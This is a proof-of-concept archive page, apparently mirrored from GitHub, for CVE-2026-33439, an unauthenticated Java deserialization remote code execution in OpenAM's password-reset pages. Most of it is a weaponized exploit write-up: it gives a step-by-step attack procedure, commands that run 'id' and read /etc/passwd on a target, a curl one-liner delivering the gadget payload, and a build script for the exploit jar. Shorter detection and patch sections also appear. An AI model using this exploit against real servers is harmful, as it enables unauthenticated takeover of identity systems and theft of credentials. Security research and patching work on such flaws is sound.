PoC Archive PoC Archive
Critical CVE-2026-33439 unpatched

OpenAM Pre-Authentication RCE via `jato.clientSession` Deserialization (CVE-2026-33439)

by Ibonok (nuclei template author: ibonok) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-33439
Category
web
Affected product
ForgeRock / OpenIdentityPlatform OpenAM
Affected versions
OpenAM versions prior to the fix in commit 014007c63cacc834cc795a89fac0e611aebc4a32
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherIbonok (nuclei template author: ibonok)
CVE / AdvisoryCVE-2026-33439
Categoryweb
SeverityCritical
CVSS Score9.8 (per bundled nuclei template)
StatusWeaponized
Tagsopenam, forgerock, deserialization, rce, pre-auth, java, gadget-chain, xalan, jato
RelatedN/A

Affected Target

FieldValue
Software / SystemForgeRock / OpenIdentityPlatform OpenAM
Versions AffectedOpenAM versions prior to the fix in commit 014007c63cacc834cc795a89fac0e611aebc4a32
Language / PlatformJava (JDK 11+ to build/run the exploit; targets a Java-based OpenAM server)
Authentication RequiredNo
Network Access RequiredYes

Summary

OpenAM’s unauthenticated Password Reset pages accept a jato.clientSession parameter that is passed to Encoder.deserialize() without any class allowlist/filtering, allowing an attacker to submit an arbitrary serialized Java object graph. The PoC builds a PriorityQueue-based deserialization gadget chain combining the Click1 web framework and an external Xalan TemplatesImpl gadget, whose translet bytecode calls com.iplanet.jato.RequestManager.getRequestContext() to obtain the JATO framework’s active ThreadLocal request/response objects during deserialization — a technique that works even on modern JVMs (Java 21+) where classic Tomcat-thread-introspection echo techniques fail. The translet reads a command from the cmd HTTP header, executes it via sh -c, and writes the output directly into the HTTP response body, giving unauthenticated, pre-authentication remote code execution with in-band command output (no DNS/OOB exfiltration needed).


Vulnerability Details

Root Cause

OpenAM’s SessionEncodeURL.readSessionID() deserializes the client-supplied jato.clientSession parameter via a raw ObjectInputStream/Encoder.deserialize() call with no class filter, allowing any attacker-supplied serialized object graph (including known RCE gadget chains) to be deserialized on unauthenticated endpoints.

Attack Vector

  1. Generate a serialized gadget-chain payload (PriorityQueue + Click1 + Xalan TemplatesImpl) whose translet bytecode invokes RequestManager.getRequestContext() to reach the live JATO request/response objects.
  2. Encode the payload in OpenAM’s expected format (\x00 prefix + URL-safe Base64, no padding).
  3. Send the payload as the jato.clientSession query parameter to an unauthenticated Password Reset endpoint, e.g. /sso/ui/PWResetUserValidation, with the command to execute supplied via a custom cmd HTTP header.
  4. Encoder.deserialize() deserializes the payload with no filtering, instantiating the gadget chain; the translet reads the cmd header, runs it with sh -c, and writes stdout/stderr straight into the HTTP response body.
  5. The attacker reads the command output directly from the HTTP response — no callback/exfiltration channel required.

Impact

Unauthenticated, pre-authentication remote code execution on the OpenAM server with output returned directly in-band, as demonstrated against a test target returning uid=8866(docker) for id and full /etc/passwd contents.


Environment / Lab Setup

Target:   ForgeRock/OpenIdentityPlatform OpenAM (unpatched, click-nodeps + xalan on classpath)
Attacker: JDK 11+ (for javac at runtime), lib/ dependencies (click-nodeps, xalan, serializer, javax.servlet-api)

Proof of Concept

PoC Script

See src/CVE_2026_33439_Echo.java and build.sh in this folder, plus the bundled nuclei template CVE-2026-33439.yaml. Third-party runtime dependencies (click-nodeps-2.3.0.jar, xalan-2.7.1.jar, serializer-2.7.3.jar, javax.servlet-api-4.0.1.jar) are referenced by build.sh/MANIFEST.MF but were not mirrored here (standard public Maven artifacts) — fetch them separately into a lib/ directory before building.

1
2
3
4
5
6
./build.sh
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'

P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"

The tool builds the Click1+Xalan gadget chain, sends it as jato.clientSession to /sso/ui/PWResetUserValidation (proxying through Burp by default), and prints the command output extracted directly from the HTTP response body.


Detection & Indicators of Compromise

Signs of compromise:

  • Unauthenticated requests to OpenAM Password Reset endpoints containing a cmd HTTP header and an oversized jato.clientSession value
  • OpenAM process spawning shell children (sh -c ...) not attributable to normal application behavior
  • Command output (e.g. /etc/passwd contents, id/uname output) appearing in HTTP response bodies from Password Reset pages

Remediation

ActionDetail
Primary fixApply OpenAM commit 014007c63cacc834cc795a89fac0e611aebc4a32, which adds a class filter to the ObjectInputStream used in SessionEncodeURL.readSessionID()
Interim mitigationBlock/WAF-filter requests to /sso/ui/PWReset* endpoints carrying abnormal jato.clientSession payloads until patched; remove unused Xalan/Click classes from the classpath where possible

References


Notes

Mirrored from https://github.com/Ibonok/CVE-2026-33439-PoC on 2026-07-05.

build.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
set -e
cd "$(dirname "$0")"

echo "[*] CVE-2026-33439 Echo PoC — Build Script"
echo ""

JAVAC=$(which javac 2>/dev/null || true)
if [ -z "$JAVAC" ]; then
    echo "[-] javac not found. Install a JDK (11+)."
    exit 1
fi

JDK_VER=$(javac -version 2>&1 | grep -oP '\d+' | head -1)
echo "[+] Java compiler version: $JDK_VER"

for jar in click-nodeps-2.3.0.jar xalan-2.7.1.jar serializer-2.7.3.jar javax.servlet-api-4.0.1.jar; do
    if [ ! -f "lib/$jar" ]; then
        echo "[-] Missing: lib/$jar"
        exit 1
    fi
done
echo "[+] All dependency JARs found in lib/"

echo "[*] Compiling..."
mkdir -p build
javac -cp "lib/*" -d build src/CVE_2026_33439_Echo.java
echo "[+] Compiled successfully"

echo "[*] Packaging JAR..."
jar cfm CVE-2026-33439-Echo.jar MANIFEST.MF -C build .
echo "[+] Built: CVE-2026-33439-Echo.jar"

rm -rf build
echo ""
echo "[*] Usage:"
echo "  java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'"
echo "[+] Build directory cleaned up"